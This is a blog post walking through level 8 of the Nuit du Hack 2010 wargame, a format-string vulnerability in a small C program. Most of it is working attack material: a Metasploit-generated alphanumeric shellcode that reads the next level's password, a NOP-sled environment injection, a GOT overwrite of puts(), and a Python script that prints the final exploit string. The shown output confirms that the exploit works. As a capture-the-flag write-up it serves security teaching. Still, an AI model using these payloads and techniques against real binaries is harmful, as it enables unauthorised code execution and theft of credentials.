lundi 9 août 2010

lvl8 wargame NDH2010 - format strings exploitation tutorial

this article is a resolution of the french "Nuit du hack 2010" wargame level 8 test. The vulnerability is a format string. Its resolution is a direct application of the method aborded in the article "tutorial exploitation format strings" available on infond.

french version available.

the vulnerability

Here is the source code:
level8@srv-public:~$ cat level8.c
#include < stdio.h>
#include < stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
        if(argc < 2) {
                printf("Empty login! \n");
                exit(-1);
        }

        printf(argv[1]);
        printf("\nNice to see you\n");

        exit(0);
}

Let's see the stack with the format string %x:
level8@srv-public:~$ ./level8 $(perl -e 'print "%x-"x100')
bffff778-b7ea4c85-2-bffff7a4-bffff7b0-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff778-e6344107-cd429517-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff7a4-8048480-8048470-b7ff0fd0-bffff79c-b7ffc793-2-bffff890-bffff899-0-bffff9c6-bffff9d1-bffff9e1-bffffa02-bffffa15-bffffa21-bfffff11-bfffff27-bfffff54-bfffff65-bfffff75-bfffff8c-bfffff94-bfffffa6-bfffffb5-bfffffe8-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff88b-0-0-0-69000000-363836-656c2f2e-386c6576-2d782500-252d7825-78252d78-2d78252d-
Nice to see you
and let's confirm it is the stack using gdb:
level8@srv-public:~$ gdb ./level8

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048424 <+0>:    push   %ebp
   0x08048425 <+1>:    mov    %esp,%ebp
   0x08048427 <+3>:    sub    $0x4,%esp
   0x0804842a <+6>:    cmpl   $0x1,0x8(%ebp)
   0x0804842e <+10>:    jg     0x8048448
   0x08048430 <+12>:    movl   $0x8048530,(%esp)
   0x08048437 <+19>:    call   0x8048350
   0x0804843c <+24>:    movl   $0xffffffff,(%esp)
   0x08048443 <+31>:    call   0x8048360
   0x08048448 <+36>:    mov    0xc(%ebp),%eax
   0x0804844b <+39>:    add    $0x4,%eax
   0x0804844e <+42>:    mov    (%eax),%eax
   0x08048450 <+44>:    mov    %eax,(%esp)
   0x08048453 <+47>:    call   0x8048340
   0x08048458 <+52>:    movl   $0x804853e,(%esp)
   0x0804845f <+59>:    call   0x8048350
   0x08048464 <+64>:    movl   $0x0,(%esp)
   0x0804846b <+71>:    call   0x8048360
End of assembler dump.
(gdb) break * main+52
Breakpoint 1 at 0x8048458
(gdb) r $(perl -e 'print "%x-"x100')
Starting program: /home/level8/level8 $(perl -e 'print "%x-"x100')

Breakpoint 1, 0x08048458 in main ()
(gdb) x/128x $esp
0xbffff6d4:    0xbffff876    0xbffff738    0xb7ea4c85    0x00000002
0xbffff6e4:    0xbffff764    0xbffff770    0xb7fe0b48    0x00000001
0xbffff6f4:    0x00000001    0x00000000    0x08048266    0xb7fd5ff4
0xbffff704:    0x08048480    0x08048370    0xbffff738    0x9479c0de
0xbffff714:    0xbf0c94ce    0x00000000    0x00000000    0x00000000
0xbffff724:    0xb7ff6270    0xb7ea4bad    0xb7ffeff4    0x00000002
0xbffff734:    0x08048370    0x00000000    0x08048391    0x08048424

payload

As for the previous tests, we use Metasploit to generate the payload.
$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level9/passwd"
CMD => cat ../level9/passwd

msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level9/passwd
buf =
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72" +
"\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58" +
"\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42" +
"\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45" +
"\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65" +
"\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53" +
"\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51" +
"\x48\x4d\x4f\x70\x41\x41"
Here is the payload:

"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"

injection

We need the program getenvaddress (already used in level5, do not forget to delete spaces added to #include because of a bug in blogspot.com) :
level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

int main(int argc, char **argv) {
    char *ptr;
    ptr = getenv(argv[1]);
    if( ptr == NULL )
        printf("%s not found\n", argv[1]);
    else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
    return 0;
}

compile (remember, delete spaces in #include) :
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c

add NOPs and inject in the environment variable:
export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"')

find the address of the payload:
level6@srv-public:~$ /tmp/getenvaddress LOL
LOL found at bffffe5d
We will use  bffffe7d (32 bytes more, to jump into NOPs).

control the execution flow

We do not have any RET after function printf call. So we can not control the execution flow from the stack (no EIP saved on the stack). So we will use another writable address used by the program.

replace a GOT entry

function puts() is called after function printf in main():

(gdb) disassemble main
(...)
   0x08048450 <+44>:    mov    %eax,(%esp)
   0x08048453 <+47>:    call   0x8048340 <printf@plt>
   0x08048458 <+52>:    movl   $0x804853e,(%esp)
   0x0804845f <+59>:    call   0x8048350 <puts@plt>
   0x08048464 <+64>:    movl   $0x0,(%esp)
   0x0804846b <+71>:    call   0x8048360

We will crush the function puts() entry in the Global Offset Table (GOT). Then, when puts() will be called, our payload will be executed.

To obtain the addresses in the GOT, here are 2 methods:

method 1: with objdump

level8@srv-public:~$ objdump -s -j .got.plt ./level8
./level8:     file format elf32-i386
Contents of section .got.plt:
 804963c 68950408 00000000 00000000 26830408  h...........&...
 804964c 36830408 46830408 56830408 66830408  6...F...V...f...
level8@srv-public:~$ objdump -R ./level8
./level8:     file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049638 R_386_GLOB_DAT    __gmon_start__
08049648 R_386_JUMP_SLOT   __gmon_start__
0804964c R_386_JUMP_SLOT   __libc_start_main
08049650 R_386_JUMP_SLOT   printf
08049654 R_386_JUMP_SLOT   puts
08049658 R_386_JUMP_SLOT   exit

method 2: with gdb


Let's see the puts() assembler code:
(gdb) disassemble puts
Dump of assembler code for function puts@plt:
   0x08048350 <+0>:    jmp    *0x8049654
   0x08048356 <+6>:    push   $0x18
   0x0804835b <+11>:    jmp    0x8048310
End of assembler dump.
The instruction  jmp    *0x8049654 is interesting because it is an entry in the GOT:
(gdb) x/x 0x08049654
0x8049654 <_GLOBAL_OFFSET_TABLE_+24>:    0x08048356

So we can write our payload address 0xaabbccdd at address 0x08049654

find how many words there are over our string on the stack


Here is a little script to find how many words there are on the stack over our string.

This script proposes too to add padding to align the address on a stack word.
level8@srv-public:~$ cat /tmp/find.py
#!/bin/python
import subprocess

padding = ''
while True:
    p = subprocess.Popen('/bin/sh',stdin=subprocess.PIPE,stdout=subprocess.PIPE)
    cmd = "/home/level8/level8 " + "AAAA" + padding + "-%x"*110 + " | grep 4141"
    stack = p.communicate(cmd)[0]
    index = stack.find('-41414141')
    if index != -1:
        break
    padding += 'B'
print stack

print "number of words up to our string (dec): "
print stack.count('-',0,index)
print "padding added: '" + padding +"'"

level8@srv-public:~$ python /tmp/find.py
AAAAB-bffff728-b7ea4c85-2-bffff754-bffff760-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff728-724fa0f2-593a94e2-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff754-8048480-8048470-b7ff0fd0-bffff74c-b7ffc793-2-bffff848-bffff85c-0-bffff9ac-bffff9bc-bffff9c7-bffff9ea-bffff9fd-bffffa09-bffffef9-bfffff26-bfffff3c-bfffff52-bfffff63-bfffff73-bfffff8a-bfffff9c-bfffffa4-bfffffb3-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff83b-0-0-0-69000000-363836-0-0-6d6f682f-656c2f65-386c6576-76656c2f-386c65-41414141-78252d42-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d

number of words up to our string (dec):
101
padding added: 'B'

calculate [ni]

We want:
[address+3][address+2][address+1][address]%1$[n1 - 16]x%[m+1]$n%1$[n2-n1]x%[m+2]$n%1$[n3-n2]x%[m+3]$n%1$[n4-n3]x%[m+4]$n[padding]
[address] = "\x54\x96\x04\x08"

[source] = 0xbffffe7d
n1-16 = 0x7d - 0x10 = 125 - 16 = 109
n2-n1 = 0x1fe - 0x7d = 510 - 125 = 385
n3-n2 = 0x2ff  - 0x1fe = 767 - 510 = 257
n4-n3 = 0x3bf - 0x2ff = 959 - 767 = 192

exploitation

We still have two more difficulties to pass, because of variations in the stack organisation each time we run the program level8:
- first one is about how many words there are over our string. Indeed, there number changes every day,
- second one is about the position of the first byte or our string. It changes sometimes. Then the addresses we push on the stack are not aligned anymore.

In our exploitation, the two parameters which deal with theses issues are [m] and [padding]. with our script /tmp/find.py we found that:
- [m] is around 101,
- [padding] is around "A".

So here is our string:
level8@srv-public:~$ cat /tmp/solution.py
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"

# m = 101
m1 = "00102"
m2 = "00103"
m3 = "00104"
m4 = "00105"
padding = "A"

print  address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + padding
But it does not work:
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
Erreur de segmentation

1st method , manually:

As we have less than 15 attempts to do, let's do it manually:
[m] = 101, [padding] = "A",
[m] = 101, [padding] = "AA",
[m] = 101, [padding] = "AAA",
[m] = 101, [padding] = "",
[m] = 100, [padding] = "A",
[m] = 100, [padding] = "AA",
[m] = 100, [padding] = "AAA",
[m] = 100, [padding] = "",
[m] = 102, [padding] = "A",
[m] = 102, [padding] = "AA",
[m] = 102, [padding] = "AAA",
[m] = 102, [padding] = "",
[m] = 099, [padding] = "A",
[m] = 099, [padding] = "AA" Bingo!

2nd method , counting:

It is possible to see what the stack looks like aproximatly with gdb. This helps us to set [m] and [padding].

The system error log provides the wrong value read on the stack for our destination address [address] :
level8@srv-public:~$ dmesg | grep level8 | sed -n '$p'
[102243.163546] level8[3236]: segfault at 386c65 ip b7ecfa30 sp bfffe148 error 6 in libc-2.11.1.so[b7e8e000+146000]
The exploitation stack is approximatly like:
level8@srv-public:~$ gdb ./level8

(gdb) break * printf
Breakpoint 1 at 0x8048340

(gdb) run $(python /tmp/solution.py)
Starting program: /home/level8/level8 $(python /tmp/solution.py)
Breakpoint 1, 0xb7ed6060 in printf () from /lib/i686/cmov/libc.so.6

(gdb) x/144x $esp
(...)
0xbffff790:    0x0000000f    0xbffff7ab    0x00000000    0x00000000
0xbffff7a0:    0x00000000    0x00000000    0x69000000    0x00363836
0xbffff7b0:    0x00000000    0x00000000    0x00000000    0x6f682f00
0xbffff7c0:    0x6c2f656d    0x6c657665    0x656c2f38    0x386c6576
0xbffff7d0:    0x04965400    0x04965508    0x04965608    0x04965708
0xbffff7e0:    0x24312508    0x39303130    0x30302578    0x24303031
0xbffff7f0:    0x2431256e    0x35383330    0x30302578    0x24313031
0xbffff800:    0x2431256e    0x37353230    0x30302578    0x24323031
0xbffff810:    0x2431256e    0x32393130    0x30302578    0x24333031
0xbffff820:    0x0041416e    0x4c454853    0x622f3d4c    0x622f6e69
0xbffff830:    0x00687361    0x4d524554    0x6574783d    0x53006d72
0xbffff840:    0x435f4853    0x4e45494c    0x33383d54    0x3530322e
0xbffff850:    0x3131312e    0x3031312e    0x38383420    0x32203430
0x00386c65 is one word before our target address 0x08049654. So [m OK] = [m tested] -1 = "100"
We see that there is one character too much, so [padding OK] = [padding tested] - A = "A"

solution (at the date of writing):

So here is the solution which works today:
level8@srv-public:~$ cat /tmp/solution.py
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"

m1 = "00100"
m2 = "00101"
m3 = "00102"
m4 = "00103"

print  address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + "AA"
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
MOT DE PASSE

references

tutorial format string - http://infond.blogspot.com
tutoriel format string - http://www.bases-hacking.org/format-strings.html
printf - http://www.cplusplus.com/reference/clibrary/cstdio/printf/

Aucun commentaire:

Enregistrer un commentaire